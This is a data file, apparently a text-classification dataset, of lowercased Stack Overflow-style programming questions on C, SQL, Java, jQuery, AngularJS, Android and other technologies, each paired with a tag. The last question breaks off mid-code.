how to update a value in the terminal  there are linux terminal programs like ddrescue that updates the terminal output no matter of the current line position.    means that currently the terminal output maybe already of some lines of commands    you run ddrescue and it updates kb/sec current i/o position and in the latest version there is also an elapsed time updating itself. the values are updated but what it was already printed on the screen  remains there.    all of those values are updating without any screen fill made of new lines and any kind of scrolling up  as a matter of fact the terminal scroll up bar... doesn t shrink :-)    the question is ansi c specific under linux  since ddrescue is written in c++ while i d like to be able to output in a similar manner but in c.    if you have any sample code that will compile with gcc linux  thank you (e.g. a clock that will appear on the current line and updates itself on that exact position),c
sql - comparing against multiple values in the same column   ok  so i m trying to write some sql and i m not sure how to tackle this situation. i have a table similiar to what is below. the basic idea is that i need to get the records that are in an  h  status (easy enough)  but i need to exclude records that were in an  h  status and moved on to an  a  status at a later date.     so ideally  the results should only return the last two records  ids 03 and 04. how would you guys do this    <pre><code>id     status     stat_date 01       a        05/01/2013 01       h        05/01/2012 02       a        12/01/2013 02       h        12/01/2012 03       h        03/01/2009 04       h        02/01/2008 </code></pre>,sql
how do i express this in dot notation  how would i express this line of code in dot notation    <pre><code>[[segue destinationviewcontroller] setdelegate:self]; </code></pre>,objective-c
accessing array index outside the for loop  i have a problem in accessing the the value of <code>i</code> outside the for loop. at first i want to get 5 names from user and after that wants to print all of them on the screen using arrays. please help.   <pre><code>public class student {      public static void main(string[] args) {          scanner input=new scanner(system.in);          string []name;         name=new string[5];          system.out.println( please enter the names of 5 students:  );          //inputs 5 students name from user         for(int i=0; i&lt;5; i++)         {             system.out.println( enter the name of student:  +(i+1));             name[i]=input.nextline();         }          //prints all the students names         system.out.println( the name of student:  +(i+1)+  is :  + name[i]);     } } </code></pre>,java
syntax of ([theevent modifierflags] & nscommandkeymask) is not clear  i don t fully understand the following code. isn t nscommandkeymask a fixed integer      then isn t the second part of the condition always true   for instance  isn t the same to: <code>([theevent modifiedflags] &amp; 1)</code>   <pre><code>if ([theevent modifierflags] &amp; nscommandkeymask) {     nslog(@ alt key down (again)! ); } </code></pre>   thanks,objective-c
grabbing rows by count and another critera mysql  i have an orders table  where there is date_paid  to save the date a order has been processed. also i have a user_id column for the buyer.    how can i grab all user_id s (unique)  that have made an order before date 2013-04-01 00:00:00 but have not made any orders after until todays date.    what i would have done is:   <ol> <li> grab all orders  unique user id: <code>group by orders.user_id where orders.date_paid &lt;  2013-04-01 00:00:00 </code> </li> <li> foreach loop through them and check if they have any orders after that date <code>where date_paid &gt;  2013-04-01 00:00:00 </code> </li> </ol>   can this be done  all by query,mysql
rails app automatically renders activerecord objects  i have a rails app with the database containing seeded objects. when i access them in a view  all of them get printed onto the bottom of the page. has anyone else experienced this problem     here is the code in the view:   <pre><code>&lt;%= @articles.each do |article| %&gt; &lt;h2&gt;&lt;%= link_to  #{article.title}   title_path(article.index)  {class:  link } %&gt;&lt;/h2&gt; &lt;p&gt;&lt;%= article.text[0..article.text.index( . )] +  ...  %&gt;&lt;/p&gt; </code></pre>     and here is what is rendered (the blue link and line under is supposed to render  but then all of the seeded articles render):    <a href= https://i.stack.imgur.com/pkvfa.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/pkvfa.png  alt=  ></a>,ruby-on-rails
removing the tabbar from a pushed view  how is the tabbar of a viewcontroller that is pushed into view removed     i have one view which has a tabbar and then this view pushes another view. the view being pushed can then return back the the first view as usual with a navigationcontroller. my issue is that i want a toolbar instead of a tabbar in the pushed view.     if i hide this tab bar  there is just a blank space and my toolbar isnt even visible using    <pre><code>self.navigationcontroller.toolbar.barstyle = uibarstyleblacktranslucent; </code></pre>   is this self.navigationcontroller pointing to the first view which pushed the view calling this statement      how can the second view(the pushed view) have is own toolbar accessed and displayed  with the tabbar from the first view hidden     one example would be the photos app.,iphone
how to convert outputstream to a byte array   how can i convert an outputstream to a byte array  i have found that first i need to convert this outputstream to a bytearrayoutputstream. there is only write() method in this outputstream class and i don t know what to do. is there any idea,java
marshmallow nested change schema behavior  i would like to know how to pass context to a nested schema field so that it serializes differently than if it was not nested.    i have a schema subclass that adds some things in a <code>@post_dump</code> depending on some <code>flag</code> arg:   <pre><code>class myschema(schema):     def __init__(self  flag=false  *args  **kwargs):         self.flag = flag         super(myschema  self).__init__(*args  **kwargs)       @post_dump      def add_thing(self  data):          if self.flag:               #add { nested  :  some_value } to data          else:               #add { not_nested  :  some_value } to data          return data </code></pre>   i have a standard nested schema that roughly looks like :   <pre><code>class aschema(myschema):   id = fields.integer()   b  = fields.nested(bschema  flag=true)  class bschema(myschema):   x = fields.integer()   y = fields.integer() </code></pre>   where i end up with a serialization of aschema that looks like :   <pre><code>{  id  : 5     not_nested  :  some_value      b   : {  x  : 10              y  : 15              not_nested  :  some_value            } } </code></pre>   if my bschema is nested  i would like for the post_dump in myschema to be able to tell via flag.    looking at the source for <code>fields.nested()</code>  it passes some <code>**kwargs</code> up to <code>field.__init__()</code>  but in the <code>_serialize()</code> method  it just returns <code>bschema.dump()</code>.    do i have any options for changing the serialization of a field depending on whether it is nested,python
suggest a good design and architecture book for .net development  anyone please suggest a good design and architecture book for .net.    is there any book i can refer to which has case studies  examples  etc. so that i can update my knowledge well in this field     in case it s not available for .net  please suggest in java also.    thanks in advance swapna mc,.net
rails: find by day of week with timestamp  i need to grab the records for same day of the week for the preceeding x days of the week. there must be a better way to do it than this:    transaction.find_by_sql  select * from transactions where extract(dow from date) = 1 and organisation_id = 4 order by date desc limit 7     it gets me what i need but is postgres specific and not very  rails-y . date is a timestamp. anyone got suggestions,ruby-on-rails
java: remove comma & last name from the given full name string  i have a list of names such as :doe  jon i want to remove the comma &amp; last name to get the end result: jon    here is what i have so far:    1.   <pre><code>string result = info.substring(info.indexof( :  )  info.indexof( careway )); //prints: :doe  jon </code></pre>   2.   <pre><code>string newstr = result.replaceall( [^a-za-z]+     ); //prints: doejon </code></pre>   i am not sure how i can extract jon from variable result in step 1.,java
jquery fire on any event  is there a way to say on any event fire   <pre><code>    $( #foo ).bind( click   function() {           alert($(this).text());      }); </code></pre>   i am trying to test a piece of code for a certain event and not going in there. just want it to fire fore any event.    <pre><code>    $( #foo ).bind( any   function() {           alert($(this).text());      }); </code></pre>,jquery
iad sometimes not working  i have put iad in my app and for some reason when i run it in the simulator  it causes an error.    <blockquote>    adbannerview: unhandled error (no delegate or delegate does not implement didfailtoreceiveadwitherror:): error domain=aderrordomain code=0  the operation couldn’t be completed. unknown error  userinfo=0x9258b10 {adinternalerrorcode=0  adinternalerrordomain=aderrordomain  nslocalizedfailurereason=unknown error}  </blockquote>   i have the frameworks and the header file done correctly  yet it does display advertisements and it sometimes gives this error,ios
getting cell pointer from section and row at tableview  i have a section and a row for my tableview   i need to create a pointer to that cell so i can than edit him    i have something like this :   <pre><code>nsindexpath *swipedindexpath = [self.tableview indexpathforrowatpoint:swipelocation];  uitableviewcell* swipedcell = [self.tableview cellforrowatindexpath:swipedindexpath]; </code></pre>   but the indexpath now is according to some touch location  i want to create it with a given section and row .    thanks.,objective-c
using jquery tabs with method  destroy - how to slow down the animation   i am using jquery tabs for a two level menu and i am using destroy method.    how do i slow down the amount of time of the mouseover event  it s too fast; when the user tries to go to one of the submenu tabs and if they are not very deliberate to avoide one of the other first level tabs  the destroy method happens so fast  and they accidentally reveal another tab s sub-menu.    here s my script:   <pre><code>$( function() { $(  #tabsmenu  ) .tabs({active: &lt; php echo $active_tab;  &gt;         event:  mouseover  }) .mouseleave( function() {    $(this)      .tabs( destroy )      .tabs({active: &lt; php echo $active_tab;  &gt;              event:  mouseover  }); });         $(  #tabsmenu .main-menu-home  ).click(function() { location.href =  / ; }); $(  #tabsmenu .main-menu-logout  ).click(function() { location.href =  /logout ; }); }); </code></pre>   i have doen a jsfiddle but not sure if it will be much help.    i could also post a url if that helps.    thank you in advance for any pointers; i tried adding fx duration slow to the mouseover event; but now i am wondering if i should put that on the method,jquery
query to read records from three tables  i need a sql query to read records from three tables say table a table b table c. each table has id and creationdatetime column as common between them.    i can insert data from front end    <ol> <li>either in table a </li> <li>or in table b </li> <li>or in table c </li> <li>or table a and table b </li> <li>or table b and table c </li> <li>or table c and table a </li> <li>or table a and table b and table c.</li> </ol>   and also data returned from the query should be sorted in descending order based on creationdatetime column of the records and also there should not be any duplicates.    please refer:   <pre><code>table a: id   creationdatetime   table b: id   creationdatetime  table c: id   creationdatetime </code></pre>   <strong>scenario:-1</strong>   <pre><code>tablea id    creationdatetime 1     2014-05-28 11.00  tableb id    creationdatetime 1     2014-05-28 11.00  tablec id    creationdatetime 1     2014-05-28 11.00 </code></pre>   <strong>scenario:-2</strong>   <pre><code>tablea id    creationdatetime 1     2014-05-28 11.00  tableb (no data) id    creationdatetime  tablec id    creationdatetime 1     2014-05-28 11.00 </code></pre>   <strong>scenario:-3</strong>   <pre><code>tablea id    creationdatetime 1     2014-05-28 11.00  tableb (no data) id    creationdatetime  tablec (no data) id    creationdatetime </code></pre>   <strong>scenario:-4</strong>   <pre><code>tablea id    creationdatetime 1     2014-05-28 11.00  tableb id    creationdatetime 1     2014-05-28 12.00  tablec id    creationdatetime 1     2014-05-28 13.00 </code></pre>   just to add from the four scenario s which i have mentioned above .i expect a query which should return:    scenario:-1 scenario:-2 scenario:-3= one record and  scenario:-4= 3 records    this is a sample code which i am trying to join two tables:   <pre><code>select * from tablea  tableb where tablea.id=9205920588298715136 group by tableb.creationdatetime order by tableb.creationdatetime desc </code></pre>,sql
html: keeping the middle of an image alligned with the middle of the page  i have a banner that i want to keep the middle of the image inline with the middle of the page. the problem is when i re-size the page smaller it doesn t push the image off the left and the middle of the image slides off to the right.    here is my html:   <pre><code>&lt;div style= width:100%; text-align:center &gt;     &lt;img src= bannerr.png &gt; &lt;/div&gt; </code></pre>   any ideas,html
mysql - finding users who login from the same ip  i m running a dating site and i want to find out which users have more than one profile.    i have a userlog table with (userid  ip address) and i want to find all users who login from the same ip address - i only want the results where more than 1 user logs in from the same ip.    thanks in advance.,mysql
c: check if a string is an integer and save it  i ve been searching the internet for some time  but didn t find a simple solution for a actually simple problem in my eyes. i guess it has been asked already:    i m reading a value like <code>20.1</code> or <code>xyz</code> via <code>sscanf</code> from a file and saving it in <code>char *width_as_string</code>.    <strong>all functions should be valid in <code>-std=c99</code>.</strong>    now i want to check if the value in <code>width_as_string</code> is an integer. if true  it should be saved in <code>int width</code>. if false  <code>width</code> should remain with the value <code>0</code>.    my approaches:   <pre><code>int width = 0; if (isdigit(width_as_string)) {     width = atoi(width_as_string); } </code></pre>   alternatively  convert <code>width_as_string</code> to <code>int width</code> and convert it back to a string. then compare if it is the same. but i m not sure how to achieve that. i already tried <code>itoa</code>.    functions like <code>isdigit</code> and <code>itoa</code> are not valid in <code>std=c99</code>  therefore i can t use them.    thanks.,c
angularjs - scope variable does not get updated from method  i m totally new to angularjs and i have this problem i do not understand. i have two methods. the first one takes some data from a webservice and puts in in a variable defined in the scope. but when i want to use that variable in the second method it is undefined. can someone help me understand why this is happening and provide a solution    <pre><code>var myapp= angular.module(  myapp   [] );  myapp.controller( myappcontroller   function( $scope ) { $scope.getall = function(){     $.ajax({         type:  get           datatype:  jsonp           contenttype:  application/json; charset=utf-8           url: ..something...          success: function (parameters) {             $scope.profiles = angular.copy(parameters);  &lt;-- correct data is returned             $scope.$apply();         }          error: function () {             alert( error calling the web service. );         }     }); } $scope.getcategories = function(){     var all = $scope.profiles;    &lt;-- at this point profiles is empty     ... }     $scope.getall();     $scope.getcategories(); } </code></pre>,angularjs
print an html page in c#  on click of a button  i am trying to print the html page    <a href= https://i.stack.imgur.com/hgflm.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/hgflm.png  alt= enter image description here ></a>    i think the problem is in the path  without hardcoding how should i print this document  currently it just opens the printer tray and prints <code>this page cant be displayed</code>.    help.html   <pre><code>&lt;html&gt; &lt;head&gt; &lt;body&gt; this is my testing... &lt;body&gt; &lt;/head&gt; &lt;/html&gt; </code></pre>   here is my c# code   <pre><code>   private void button1_click(object sender  eventargs e)         {             // create a webbrowser instance.              webbrowser webbrowserforprinting = new webbrowser();              // add an event handler that prints the document after it loads.             webbrowserforprinting.documentcompleted +=                 new webbrowserdocumentcompletedeventhandler(printdocument);              // set the url property to load the document.             webbrowserforprinting.url = new uri(@ d:\pmo project\pmo\windowsformsapplication1\windowsformsapplication1\html\help.html );         }          private void printdocument(object sender              webbrowserdocumentcompletedeventargs e)         {             // print the document now that it is fully loaded.             ((webbrowser)sender).print();              // dispose the webbrowser now that the task is complete.              ((webbrowser)sender).dispose();         } </code></pre>   screenshot of what is printed    <a href= https://i.stack.imgur.com/1zx9v.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/1zx9v.png  alt= enter image description here ></a>,c#
changing values of a dictionary to a list  i have the following code snippet where am assigning values to dictionary..currently the dictionary values are getting printed as normal values..i want to them to convert to a list how do i change the  database[data]=value  line to achieve this    <pre><code>database={} ....... database[data]=value //assigning value to a dictionary print database ...............  expected output:- internal_dep = { 313115 : [ 313113 ]  213114 : [ 213103 ] }  current output:- internal_dep = { 313115 :  313113   213114 :  213103  } </code></pre>   thanks,python
listview position id is not equal database keyinteger value  i want to delete listview selected position value from database but problem is listview  position only  give position id suppose if i give entries in database 1 3 4 5 2 6  when delete 2 it will delete 4 not 2 so tell me how to delete values from selecteing on listview help me im  confuse   <pre><code>   msglist.setonitemlongclicklistener(new onitemlongclicklistener() {   // setting onitemlongclicklistener and passing the position to the function           @override   public boolean onitemlongclick(adapterview&lt; &gt; arg0  view arg1          int position  long arg3) {            databasehandler db = new databasehandler(msgactivity.this);                    removeitemfromlist(position);                    db.delete_contact(arg3);              }    });               string create_inbox_table =  create table   + table_inbox +  (  + key_inboxid +   integer primary key   + key_msg +   text   + key_time +   text  +  ) ;     public void delete_contact(int id) {     sqlitedatabase db = this.getwritabledatabase();     db.delete(table_inbox  key_inboxid +   =      new string[] {      string.valueof(id) });     log.d( loging value2    value2:   + string.valueof(id));     db.close();  } </code></pre>,android
how to delay the speed of uploading files for local development   how can i slow the speed of uploading a file in my local development  the reason behind this is to show the user some options when the file is getting uploaded.     currently  the uploading is too fast so that i find it difficult to test my changes.    any help is appreciated. javascript is preferred. no jquery.,javascript
bitconverter toint32 .net  using .net 4.0<br> using dotpeek .net decompiler    a little bit confused with code of system.bitconverter.toint32():   <pre><code>public static unsafe int toint32(byte[] value  int startindex)     {       if (value == null)         throwhelper.throwargumentnullexception(exceptionargument.value);       if ((long) (uint) startindex &gt;= (long) value.length)         throwhelper.throwargumentoutofrangeexception(exceptionargument.startindex  exceptionresource.argumentoutofrange_index);       if (startindex &gt; value.length - 4)         throwhelper.throwargumentexception(exceptionresource.arg_arrayplusofftoosmall);       fixed (byte* numptr = &amp;value[startindex])       {         if (startindex % 4 == 0)           return *(int*) numptr;         if (bitconverter.islittleendian)           return (int) *numptr | (int) numptr[1] &lt;&lt; 8 | (int) numptr[2] &lt;&lt; 16 | (int) numptr[3] &lt;&lt; 24;         else           return (int) *numptr &lt;&lt; 24 | (int) numptr[1] &lt;&lt; 16 | (int) numptr[2] &lt;&lt; 8 | (int) numptr[3];       }     } </code></pre>   how to understand this part of code :   <pre><code>if (startindex % 4 == 0)   return *(int*) numptr; </code></pre>   i mean why start position in byte array matters,.net
how do i omit properties from angularjs form submit   i have a view that calls a form model from my server that includes a drop down list.    when i submit my form all of the states in my drop down list are submitted as well.  seems silly to send back those values when the state id is all that is needed. if a form has multiple drop down lists this problem is compounded.  i also noticed that any property that is included in my from model is also submitted even if it is not included in my form.  that doesn t seem right at all.    <strong>how do i omit certain properties that are not part of my form from being submitted </strong>    my model looks like this:   <pre><code>{      id :25        name : joe smith        dummyproperty :  whatever         stateid :5        states :[         { value :1   label :  alabama }           { value:2   label :  alaska }           {etc...}             ] } </code></pre>   my form looks like this:   <pre><code>&lt;form autocomplete= off  novalidate name= form &gt;     &lt;input type= hidden  ng-model= item.id  id= id  name= id  /&gt;     &lt;div class= se-row &gt;         &lt;label&gt;name&lt;/label&gt;         &lt;input type= text  ng-model= item.name  id= name  name= name  /&gt;     &lt;/div&gt;     &lt;div class= se-row &gt;         &lt;label&gt;state&lt;/state&gt;         &lt;select ng-model= item.stateid  id= stateid  name= stateid &gt;             &lt;option value= 0 &gt;select...&lt;/option&gt;             &lt;option value= {{o.value}}  ng-repeat= o in item.states &gt;{{o.label}}&lt;/option&gt;         &lt;/select&gt;     &lt;/div&gt;     &lt;div class= se-row &gt;         &lt;button ng-disabled= form.$invalid  ng-click= postnew()  ng-class= { disabled-btn : form.$invalid} &gt;save&lt;/button&gt;     &lt;/div&gt; &lt;/form&gt; </code></pre>   note:  yes i know about ng-options but i have no use to send back the entire option object and adjust my server models to accomodate this feature.  ng-repeat works just fine.    thanks.    <strong>edit</strong> here is the postnew() function:   <pre><code>$scope.postnew = function () {         apifactory.crud.save({ ctrl: apifactory.ctrl }  $scope.item).$promise.then(function() {             //modal stuff         }              function(response) {                 handleerror(response);             });     }; </code></pre>   my factory is pretty standard:   <pre><code>tabsapp.factory( apifactory   function ($resource  $http  $q  $rootscope) {     var apiservice = {         list: $resource( /api/patient/:patientid/:ctrl   { patientid:  @patientid   ctrl:  @ctrl  })          crud: $resource( /api/:ctrl/:id   { ctrl:  @ctrl   id:  @id  }  { update: { method:  put  } })     }; //i set my url parameters here and then broadcast them down to child scopes  return apiservice; }); </code></pre>   <strong>edit 2</strong> i also tried using ngsubmit which had the identical behavior i described above.  the form still submits all the states and even the dummyproperty.   <pre><code>&lt;form ng-submit= postnew() &gt;   //same as above   &lt;button type= submit &gt;save&lt;/button&gt; &lt;/form&gt; </code></pre>,angularjs
building a c project with an option of using assert()  i need to use the function <code>assert()</code> only for a particular build of my c project.     meaning thereby  there will be two builds of the same project; one with <code>assert()</code> operation and another without. now  a way is to have a project with <code>assert()</code> function wherever it s required and one with none. but  is there any way so that i can have a single project with an option of enabling or disabling the usability of <code>assert()</code> function,c
which is the correct/better way of delegate declaration  i noticed most of the developers are using event for callback and i m not sure whether i m doing in a right way.    i noticed most of developers  codes look like this:   <pre><code>public delegate void sampledelegate(); public static event sampledelegate sampleevent; </code></pre>   while the way i do  event  look like this:   <pre><code>public delegate void sampledelegate(); public sampledelegate sampleevent; // notice that i didn t set to static and not an event type </code></pre>   i hope someone could explain to me what s the differences between both codes  which way of doing delegate is a better practice  is it better to set it as a static,c#
what is appdomain in .net  please let me know what is app domain in .net,.net
function pointer techniques for wrapping arbitrary functions in c  in c there is a very easy way to wrap a function(for timing/logging/etc) with a macro   <pre><code>#define wrap(func args) \ ... func args /*call function with args num of args irrelavent*/         \ ... </code></pre>   wrap(some_func (arga_a arg_b)) since it expands to  func (args)     but eventually you get tired of the drawbacks of macros.    is there any way to do this in a simple fashion with a function taking a function pointer  it is important that it fits a function with any number of arguments(well we can say less then 7 if it supports 0-6 arguments. and without change to the function.,c
syntax error in sql <pre><code>select * into temp3  from  ( select b.name from [temp2] as b  where b.name not in ( select e.workername from workerdetail as e ) ) </code></pre>   why does this produce an error,sql
make silent connection  i m want to use connectivitymanager inorder to find an appropiate network and then create a socket that will use that network. is it possible to  bind  a socket to a specified hotspot     thanks  nahum,android
dynamic filtering in angularjs using multiple checkboxes  i am trying to filter the json data by using multiple check boxes in different categories so far iam successful in filtering the data but what i need is to filter the categories also please go through the below fiddle  to understand this  <a href= http://jsfiddle.net/mounika12/5b4hzhgg/  rel= nofollow noreferrer >jsfiddle link</a>  basically when i select something in pantsize category then shirt size and shoe size filters are also filtered according to the combination here the problem is filtering of checkboxes is happening in top to bottom direction for example if i select something in shirt size category then only shoe size check boxes are filtered but not the pant size iam using the following service   <pre><code> $scope.$watch(function () {         return {             players: $scope.players              usepants: $scope.usepants              useshirts: $scope.useshirts              useshoes: $scope.useshoes         }     }  function (value) {         var selected;          $scope.pantsgroup = uniqueitems($scope.players   pants );         var filterafterpants = [];                 selected = false;         for (var j in $scope.players) {             var p = $scope.players[j];             for (var i in $scope.usepants) {                 if ($scope.usepants[i]) {                     selected = true;                     if (i == p.pants) {                         filterafterpants.push(p);                         break;                     }                 }             }                 }         if (!selected) {             filterafterpants = $scope.players;         }          $scope.shirtsgroup = uniqueitems(filterafterpants   shirt );         var filteraftershirts = [];                 selected = false;         for (var j in filterafterpants) {             var p = filterafterpants[j];             for (var i in $scope.useshirts) {                 if ($scope.useshirts[i]) {                     selected = true;                     if (i == p.shirt) {                         filteraftershirts.push(p);                         break;                     }                 }             }                }         if (!selected) {             filteraftershirts = filterafterpants;         }          $scope.shoesgroup = uniqueitems(filteraftershirts   shoes );         var filteraftershoes = [];                 selected = false;         for (var j in filteraftershirts) {             var p = filteraftershirts[j];             for (var i in $scope.useshoes) {                 if ($scope.useshoes[i]) {                     selected = true;                     if (i == p.shoes) {                         filteraftershoes.push(p);                         break;                     }                 }             }             }         if (!selected) {             filteraftershoes = filteraftershirts;         }                  $scope.filteredplayers = filteraftershoes;             }  true); </code></pre>,angularjs
iphone sdk: load tweets into uitableview   i need to include a twitter-feature with the tweets of my account  but i don t know how i can get my tweets and show it in a uitableview     please help.. thanks.,iphone
jquery change text in div  right now the div text is being changed to  text  i need it to be changed to the  data-text  from the link.   <pre><code>&lt;a href= 1884.html  class= brieflink  data-src= article.jpg  data-text= text4 &gt;brief 4&lt;/a&gt;  &lt;div id= brieftext &gt;&lt;p&gt;text to be replaced&lt;/p&gt;&lt;/div&gt;  $( a.brieflink ).bind( mouseover   function() {     $( div#brieftext ).text( text   $(this).data( text )); }); </code></pre>,jquery
best way to handle multiple javascript checks  just wanted to ask what is best practise for running multiple javascript checks on a returned object from a api.    for instance if the api returns this json.   <pre><code> var ob = {         destination_addresses  : [  15 duke st  cardiff  cardiff cf10  uk  ]          origin_addresses  : [  2 college st  swansea  swansea sa1 5ae  uk  ]          rows  : [           {               elements  : [                 {                     distance  : {                        text  :  67.9 km                          value  : 67941                    }                      duration  : {                        text  :  57 mins                          value  : 3446                    }                      status  :  ok                  }              ]           }        ]          status  :  ok      } </code></pre>   so say i want check if duration exists only but i don t want to do the following.   <pre><code>if(ob.rows){   if(ob.rows[0].elements){      if(ob.rows[0].elements[0].duration.text != undefined ){          console.log(ob.rows[0].elements[0].duration.text);      }     } } </code></pre>   is there a better way to just check in duration and text exists     <a href= https://jsbin.com/turarurula/edit js console  rel= nofollow >https://jsbin.com/turarurula/edit js console</a>,javascript
how to iterate through all my ruby on rails users in a rake file   i m trying to write a rake task that iterates through all my users in a ruby on rails project then makes changes to them. i know enough ruby to make this work for one user  and i ve done this successfully  now i want to iterate through all users and do the same.    this is my current code:   <pre><code>namespace :abc do  desc  used to generate a new daily log   starting_date = date.new(2017  04  03)  task :create_post =&gt; :environment do  user.all.each do |currentuser|      post.create!(content:  raked ) if date.today &gt;= starting_date end puts  it worked yo       end  end </code></pre>   the problem area is the iterating through the users. the error i get as its currently written is:  activerecord::recordinvalid: validation failed: user must exist  user can t be blank     does anyone know the proper ruby way of iterating through users like this     also  i ve tried the following code:   <pre><code>user.all.each do |currentuser|  puts currentuser.name end </code></pre>   and it will correctly display the name of each user. so it perhaps has something to do with my users interacting with the post.create! line     thanks!,ruby-on-rails
traceback with getattr()  i call its methods through getattr (module  method_name) and call these methods are not displayed in the traceback  it is difficult to debug how to make calls to these methods are displayed in the traceback     traceback:   <pre><code>file  /home/master/venvs/hello_traversal/local/lib/python2.7/site-packages/django/core/handlers/base.py  in get_response   111.                     response = wrapped_callback(request  *callback_args  **callback_kwargs) file  /home/master/djcode/django_traversal_helloworld/traversal/router.py  in route_factory   117.     return router.resource_tree_traverse() file  /home/master/djcode/django_traversal_helloworld/traversal/router.py  in resource_tree_traverse   112.         return self.get_view(view_name  params) file  /home/master/djcode/django_traversal_helloworld/traversal/router.py  in get_view   74.                 tfactory = self.get_path(t_factory_path) file  /home/master/djcode/django_traversal_helloworld/traversal/router.py  in get_path   45.             m = importlib.import_module(module) file  /usr/lib/python2.7/importlib/__init__.py  in import_module   37.     __import__(name) </code></pre>   but i have called  post_list_view  method  and it s not in traceback,python
aligning an empty div and images  i m working on a post to get familiar with the japanese hiagana. however  i m going to use a lot more images  and later sound. in order to use fewer images i tried to replace the empty .pngs with a div  but i m unable to align it with the rest of images. i m pretty sure there is something wrong in my code  but i really have no idea how to fix it  or if is there an alternative to what i m doing. any help will be greatly appreciated!      this is the page: <a href= http://template00test.blogspot.com/2015/03/blog-post.html  rel= nofollow >http://template00test.blogspot.com/2015/03/blog-post.html</a>   <pre><code>&lt;style&gt; .container { position: relative; width: 645px; margin: 0 auto; text-align:center; }  .miniature {     width: 6%;     border: 1px solid grey;     margin: 5px; }  .miniaturex {     height: 42px;     width: 6%;     border: 1px solid red;     margin: 5px;  }  &lt;/style&gt;  </code></pre>   miniaturex is the red square in the link above  and it is the one i would like to align with the rest if possible.     this is an example of what i have:    <pre><code>&lt;div class= container &gt;  &lt;img class= miniature  src= https://lh5.googleusercontent.com/-rmwjbjg8x6i/vrdr9hut5ni/aaaaaaaacjg/6gs2p1iotm8/w60-h65-no/ha.png  /&gt;  &lt;img class= miniature  src= https://lh5.googleusercontent.com/-eyxbrimgfvi/vrdsbv9n-hi/aaaaaaaacjm/4qc48pqlpvo/w60-h65-no/na.png  /&gt;  &lt;img class= miniature  src= https://lh5.googleusercontent.com/-vz3-ygdqmb0/vrdsfv5qx4i/aaaaaaaach0/td8fzfhbqsy/w60-h65-no/ta.png  /&gt;  &lt;img class= miniature  src= https://lh5.googleusercontent.com/-ptiymclrhpy/vrdsd0q7pxi/aaaaaaaachu/hg8buv5d6yq/w60-h65-no/sa.png  /&gt;  &lt;img class= miniature  src= https://lh5.googleusercontent.com/-riufcb3hvoe/vrdr-br6qfi/aaaaaaaace4/7y1pcihmuwu/w60-h65-no/ka.png  /&gt;  &lt;img class= miniature  src= https://lh3.googleusercontent.com/-5hjr44ooz5c/vrdr9qg_mai/aaaaaaaacjg/fi8wrcld1ii/w60-h65-no/a.png  /&gt;  &lt;img class= miniature  src= https://lh3.googleusercontent.com/-twp0rlj4zxw/vriohhaqw_i/aaaaaaaacj8/auwtqm8hpcu/w60-h65-no/x.png  /&gt;  &lt;/div&gt;   &lt;div class= miniaturex &gt;&lt;/div&gt; </code></pre>   and again  thanks in advance for any help or any clue to an alternative.,css
conditional statements in sql  is it possible to insert duplicate values into a database row only if a different column in the same table is unique  thanks for your help.    database table setup:   <pre><code>login_time int(15) [unique key] | user_id int(15) | time_worked varchar(64) </code></pre>   this is my insert statment.  what i need is to only insert if user_id or login_time is unique. and to not insert if both user_id and login_time match another row in the database.   <pre><code>    insert into `ucm_user_timelog` values (  . intval($user_id) .              . $timeworked .      . $logintime .  ) </code></pre>,sql
count rings of incoming call in android  i am designing an application in android which will give response to incoming call. for that i want to *<em>count ring of incoming call *</em>(i.e how many time the phone has rung yet). i tried searching it but did not find any clue. i want to respond to the incoming call after ringing the phone for some specific number of times. i tried to catch incoming call state but it did not let me to achieve that. please help me to come out from this. thanks in advance.,android
ajax fetch into div  div not taking size  using jquery  i fetch a data from php to div   <pre><code>$.post(url.php info= +$( #info ).val() // rest of code  $( #information ).show().html($(response).fadein( slow )); </code></pre>   i set in css #information as    <pre><code>width: 290px; border: 2px solid #000; </code></pre>   any idea why height isn t automatically set  do i have to do something     i am new in jquery,jquery
dictionary with a string mapped to function  i m relatively new to c#. i was working on a few console app projects that rely on user input and fire off different functions depending on their input.     i thought that it might be simpler and a bit more flexible to map the possible inputs to a function in a dictionary.    i was told this may be a bad design choice  but wasn t given a clear explanation why.    <pre><code>class request&lt;t&gt; : irequest&lt;t&gt; {     string route { get; set; }     t body { get; set; } }  class response&lt;t&gt; : iresponse&lt;t&gt; {     string route { get; set; }     t body { get; set; } }   class router : iroutable {     dictionary&lt;string  func&lt;irequest&lt;t&gt;  iresponse&lt;t&gt;&gt; routes { get; set; } } </code></pre>   can this make my design worse / more fragile  if so  why,c#
how to insert data from grid view control when button in particular row is clicked   i am having one friend request form.in that i have used grid view control to show all registered members so one who want to send request he/she can send request.my form design code is:   <pre><code>enter code here  &lt;asp:gridview id= grdviewfriendrequest  runat= server  allowpaging= true      autogeneratecolumns= false  emptydatatext= no members found  width= 100%  font-size= 16px  forecolor= #ff9f00  gridlines= none  pagersettings-mode= numericfirstlast   onselectedindexchanged= grdviewfriendrequest_selectedindexchanged &gt; &lt;footerstyle backcolor= #ffb100  font-bold= true  forecolor= #000000  /&gt; &lt;rowstyle backcolor= #ffd340  /&gt; &lt;editrowstyle backcolor= #ffde40  /&gt; &lt;selectedrowstyle backcolor= #ffc900  font-bold= true  forecolor= #000000  /&gt; &lt;pagerstyle backcolor= #ffeb73  forecolor= black  horizontalalign= center  /&gt; &lt;headerstyle backcolor= #ffb100  font-bold= true  forecolor= 000000    horizontalalign= left  /&gt; &lt;alternatingrowstyle backcolor= #ffdf73  /&gt; &lt;columns&gt; &lt;asp:templatefield headertext= first name &gt; &lt;itemtemplate&gt; &lt;%#eval( firstname )%&gt;&lt;/itemtemplate&gt; &lt;/asp:templatefield&gt; &lt;asp:templatefield headertext= last name &gt; &lt;itemtemplate&gt; &lt;%#eval( lastname )%&gt;&lt;/itemtemplate&gt; &lt;/asp:templatefield&gt; &lt;asp:templatefield headertext= send friend request &gt; &lt;itemtemplate&gt; &lt;asp:button id= btnsendfrndreq  cssclass= btnimage  text= send friend request     runat= server  onclick= btnsendfrndreq_click  /&gt;&lt;/itemtemplate&gt; &lt;/asp:templatefield&gt; &lt;/columns&gt; &lt;/asp:gridview&gt; </code></pre>   so i want to do like when user click on button in front of particular member s name the data from that row should get store in a table.    i have tried this on button click event  but it s not working.i am unable to find what is going wrong.i giving the code behind please check it and suggest me any solution   <pre><code>protected void grdviewfriendrequest_selectedindexchanged(object sender  eventargs e) {  } public void 